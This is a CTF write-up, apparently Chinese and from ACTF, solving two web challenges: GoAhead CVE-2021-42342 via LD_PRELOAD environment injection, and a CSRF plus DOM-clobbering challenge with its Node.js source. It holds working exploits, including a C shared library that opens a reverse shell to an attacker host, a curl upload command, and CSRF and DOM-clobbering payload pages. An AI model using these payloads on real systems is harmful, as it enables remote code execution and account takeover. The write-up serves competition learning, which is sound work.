gogogo
goahead v5.1.4 存在环境变量注⼊漏洞 (CVE-2021-42342)
关于该漏洞网上有很多资料
https://github.com/Mr-xn/CVE-2021-42342
CVE-2021-42342 GoAhead 远程命令执行漏洞深入分析与复现 (seebug.org)
GoAhead环境变量注入复现踩坑记 | 离别歌 (leavesongs.com)
可上传⼀个动态链接库,然后利⽤ /proc ⽂件系统, 将 LD_PRELOAD 环境变量设置为所上传的 so ⽂件 /cgi-bin/ 下⾯有个脚本 hello , 可以输出环境变量
利⽤动态链接库反弹shell(也可以直接读取flag,标准输出会出现在⻚⾯上)
POC1: read flag
代码语言:javascript复制#include <stdio.h>
#include <stdlib.h>
static void read_flag(void) __attribute__((constructor));
static void read_flag(void)
{
FILE *fp = fopen("/flag", "r");
char flag[256];
fgets(flag, 256, fp);
printf("%sn", flag);
fclose(fp);
}
POC2: reverse shell
代码语言:javascript复制#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="***";
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
usage:
step1: gcc hack.c -fPIC -shared -o poc.so
step2: curl -x 127.0.0.1:8080 -v -F data=@poc.so -F "LD_PRELOAD=/proc/self/fd/7" http://123.60.84.229:10218/cgi-bin/hello
(-x设置下代理抓包爆破/proc/self/fd/x)
可成功反弹shell
这里还有一种做法
参考https://blog.csdn.net/qq_53142368/article/details/125120520#t2
可直接执行命令
beWhatYouWannaBe
该题考查了CSRF和dom clobbering攻击
app.js代码
代码语言:javascript复制const app = require('express')()
const bodyParser = require('body-parser')
const session = require('express-session')
const admin = require('./admin')
const mongoose = require('mongoose')
const rand = require('string-random')
const crypto = require('crypto')
const LISTEN = '0.0.0.0'
const PORT = 8000
const config = require('./config')
const FLAG = config.FLAG
const FAKE_FLAG = config.FAKE_FLAG
const MONGO_URL = 'mongodb://mongodb:27017/ctf'
const SECRET = rand(32, '0123456789abcdef')
//关键部分1,检验CSRF token CSRF Token 是根据当前时间⽣成的,只要请求能在 1s 内完成应该可以直接计算出 token
const ValidateToken = (Token) => {
var sha256 = crypto.createHash('sha256');
return sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex') === Token;
}
mongoose.connect(MONGO_URL)
const User = mongoose.model("users", new mongoose.Schema({
username: String,
password: String,
isAdmin: Boolean
}))
app.set('view engine', 'ejs')
app.use(session({
secret: SECRET,
resave: false,
saveUninitialized: true,
cookie: { secure: false },
}))
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json())
app.get('/', (req, res) => {
res.send('hello world')
})
app.get('/login', (req, res) => {
res.render('login', {})
})
//关键部分2,可让admin发起CSRF
app.post('/admin', (req, res) => {
let url = req.body.url ? req.body.url : 'http://pumpk1n.com'
admin.view(url)
.then(() => { res.send(url) })
.catch(e => { res.send(e) })
})
app.get('/home', (req, res) => {
if (!req.session.user) {
res.redirect('/login')
return
}
res.render('home', { user: req.session.user })
})
app.post('/login', (req, res) => {
let username = req.body.username
let password = req.body.password
console.log("login", username, password)
if (typeof username !== 'string' || typeof password !== 'string') {
res.render('login', { error: "wafed" })
return
}
User.find({ username: username, password: password }, (err, user) => {
if (err) {
res.render('login', { error: err })
return
}
if (user.length > 0) {
req.session.user = username
res.redirect('home')
} else {
res.render('login', { error: "login failed" })
}
})
})
app.get('/register', (req, res) => {
res.render('register', {})
})
app.post('/register', (req, res) => {
let username = req.body.username
let password = req.body.password
if (typeof username !== 'string' || typeof password !== 'string') {
res.render('login', { error: "wafed" })
return
}
const newuser = new User({
username: username,
password: password,
isAdmin: false
})
User.find({ username: username }, (err, user) => {
if (err) {
res.render('register', { error: err })
return
}
if (user.length > 0) {
res.render('register', { error: "user already exists!" })
} else {
newuser.save()
res.redirect('login', 302)
}
})
})
//关键部分3 ,以admin的身份让普通用户成为admin
app.post('/beAdmin', (req, res) => {
if (req.session.user != 'admin') {
res.send("sorry, only admin can be admin")
return
}
const username = req.body.username
const csrftoken = req.body.csrftoken
if (ValidateToken(csrftoken)) {
User.updateMany({ username: username }, { isAdmin: true },
(err, users) => {
if (err) {
res.send('something error when being admin')
return
}
if (users.length == 0) {
res.send('no one can be admin')
} else {
res.send('wow success wow')
}
}
)
} else {
res.send('validate error')
}
})
app.get('/flag', (req, res) => {
if (!req.session.user) {
res.send(FAKE_FLAG)
return
}
User.findOne({ username: req.session.user }, (err, user) => {
if (err) {
res.send({ err: err })
return
}
if (user.isAdmin) { //只要用户的user.isAdmin为True即可
// part 1
res.send(FLAG.substring(0, 16))
} else {
res.send(FAKE_FLAG)
}
})
})
app.listen(PORT, LISTEN, () => {
console.log(`listening ${LISTEN}:${PORT}...`)
})
admin.js代码
代码语言:javascript复制const puppeteer = require('puppeteer');
const process = require('process')
const ADMIN_USERNAME = 'admin'
const ADMIN_PASSWORD = process.env.password
const FLAG = require('./config').FLAG
const view = async(url) => {
/**
* launch()该方法使用给定的arguments启动浏览器实例,当父node.js进程关闭时,浏览器将被关闭。
*/
const browser = await puppeteer.launch({ //创建浏览器对象
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox']
})
const page = await browser.newPage() //新启一个页面
await page.goto('http://localhost:8000/login')
await page.type("#username", ADMIN_USERNAME)
await page.type("#password", ADMIN_PASSWORD)
await page.click('#btn-login') //以admin的身份登录
// get flag1
await page.goto(url, { timeout: 5000 })
// get flag2
await page.setJavaScriptEnabled(false)
await page.goto(url, { timeout: 5000 })
await page.evaluate((url, FLAG) => {
//构造相关的dom实现 dom clobbering
if (fff.lll.aaa.ggg.value == "this_is_what_i_want") {
fetch(url '?part2=' btoa(encodeURIComponent(FLAG.substring(16))))
} else {
fetch(url '?there_is_no_flag')
}
}, url, FLAG)
await browser.close()
}
exports.view = view
第一部分是常规的CSRF让admin携带着它的session触发我们给它的页面
这里对于CSRF token的验证存在bug,只要我们在1秒内完成token计算即可绕过验证
测试:
代码语言:javascript复制const crypto = require('crypto');
var sha256_1 = crypto.createHash('sha256');
var sha256_2 = crypto.createHash('sha256');
var token1 = sha256_1.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex');
setTimeout(() => {
var token2 = sha256_2.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex');
console.log(`token1: ${token1}ntoken2: ${token2}`);
console.log(token1===token2);
},650); //休眠650ms
结果两个token是相等的
所以只要在一秒内完成验证即可
exp1:
代码语言:javascript复制<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CSRF</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.9.0/sha256.min.js"></script>
</head>
<body>
<form id="form" action="http://124.71.180.254:10022/beAdmin" method="post">
<input name="username" value="=pankas">
<input id="csrftoken" name="csrftoken" value="1">
</form>
<script>
document.getElementById('csrftoken').value = sha256(Math.sin(Math.floor(Date.now() / 1000)).toString());
document.getElementById('form').submit();
</script>
</body>
</html>
挂服务器上发送链接。成为admin后即可拿到flag1
代码语言:javascript复制ACTF{3asy_csrf_a
第二部分是dom clobbering attack
有关资料
https://blog.csdn.net/qq_38154820/article/details/106330275?utm_source=app&app_version=5.0.1&code=app_1562916241&uLinkId=usr1mkqgl919blen
exp2:
代码语言:javascript复制from flask import *
app = Flask(__name__)
@app.route('/')
def exp():
return """
<iframe name=fff srcdoc="
<iframe name=lll srcdoc='<a id=aaa><input id=aaa name=ggg value=this_is_what_i_want>'>"></iframe>
"""
if __name__ == '__main__':
app.run('0.0.0.0',8866)
解码拿到第二部分
代码语言:javascript复制nd_bypass_stup1d_tok3n_g3n3rator_and_use_d0m_clobberring!!!}
ps:有些师傅可能会出现浏览器没来得及发出fetch请求,就close了的情况,可用如下方法解决(方法来自vidar的某位师傅)
可以开⼀个 nc ,当作图⽚,卡住第⼆次⻚⾯加载
代码语言:javascript复制from flask import *
app = Flask(__name__)
@app.route('/')
def exp():
return """
<iframe name=fff srcdoc="
<iframe name=lll srcdoc='<a id=aaa><input id=aaa name=ggg value=this_is_what_i_w
ant>'>"></iframe>
<img id="test" src="http://x.x.x.x:xx">
<script>document.getElementById("test").src="1"</script>
"""
if __name__ == '__main__':
app.run('0.0.0.0',53418)
因为第⼆次访问他 ban 了 js, document.getElementById("test").src="1"
就执⾏不了 了,只会在第⼆次访问卡住
这两步其实可以和到一起的,官方exp
代码语言:javascript复制<html>
<head>
<title>csrf</title>
</head>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/js-sha256/0.9.0/sha256.js"></script>
<body>
<iframe name=fff srcdoc="<form id=lll name=aaa><input id=ggg value=this_is_what_i_want></input></form><form id=lll></form>"></iframe>
<form id="form" action="http://localhost:8000/beAdmin" method="post">
<input name="username" value="aaa">
<input name="csrftoken" id="csrftoken" value="1">
</form>
<script>
function getToken() {
return sha256(Math.sin(Math.floor(Date.now() / 1000)).toString())
}
$("#csrftoken").attr("value", getToken())
document.getElementById("form").submit()
</script>
</body>
</html>